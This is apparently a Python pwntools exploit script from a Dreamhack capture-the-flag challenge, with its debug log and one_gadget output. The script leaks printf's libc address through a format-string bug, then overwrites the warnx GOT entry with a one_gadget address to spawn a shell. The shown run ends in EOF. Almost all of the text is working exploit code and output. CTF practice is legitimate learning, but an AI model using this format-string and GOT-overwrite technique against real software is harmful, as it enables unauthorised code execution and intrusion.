from pwn import *
context.log_level = 'debug'
def send_payload(payload):
    print r.sendline(payload)

r = remote("host1.dreamhack.games", 8377)
libc = ELF('./libc.so.6')
e = ELF('./string')

printf_got = e.got['printf']
warnx_got = e.got['warnx']
printf_offset = libc.symbols['printf']
one_gadget = 0x3a80c
payload = ""
payload += p32(printf_got)
payload += '%x%x%x%x.%s'

print r.recvuntil("> ")
r.sendline("1")
print r.recvuntil("Input: ")
r.sendline(payload)
print r.recvuntil("> ")
r.sendline("2")
print r.recvuntil(".")
printf_libc = u32(r.recv(4))
print hex(printf_libc)
libc_base = printf_libc - printf_offset
one_gadget_libc = libc_base + one_gadget

fmt = FmtStr(send_payload, offset = 5)

print r.recvuntil('> ')
r.sendline('1')
print r.recvuntil('Input: ')

fmt.write(warnx_got, one_gadget_libc)
fmt.execute_writes()

print hex(one_gadget_libc)
print r.recvuntil('> ')
r.sendline('2')
print r.recvuntil('> ')
r.sendline('2')
r.interactive()

1. Input
2. Print
3. Exit
> 
[DEBUG] Sent 0x2 bytes:
    '2\n'

[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ id
[DEBUG] Sent 0x3 bytes:
    'id\n'
$ id
[DEBUG] Sent 0x3 bytes:
    'id\n'
[*] Closed connection to host1.dreamhack.games port 8377
[*] Got EOF while sending in interactive

User@DESKTOP-A0EPTKG:~/CTF$ one_gadget ./libc.so.6 
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

0x3a80e execve("/bin/sh", esp+0x2c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x2c] == NULL

0x3a812 execve("/bin/sh", esp+0x30, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x30] == NULL

0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x5f065 execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x5f066 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL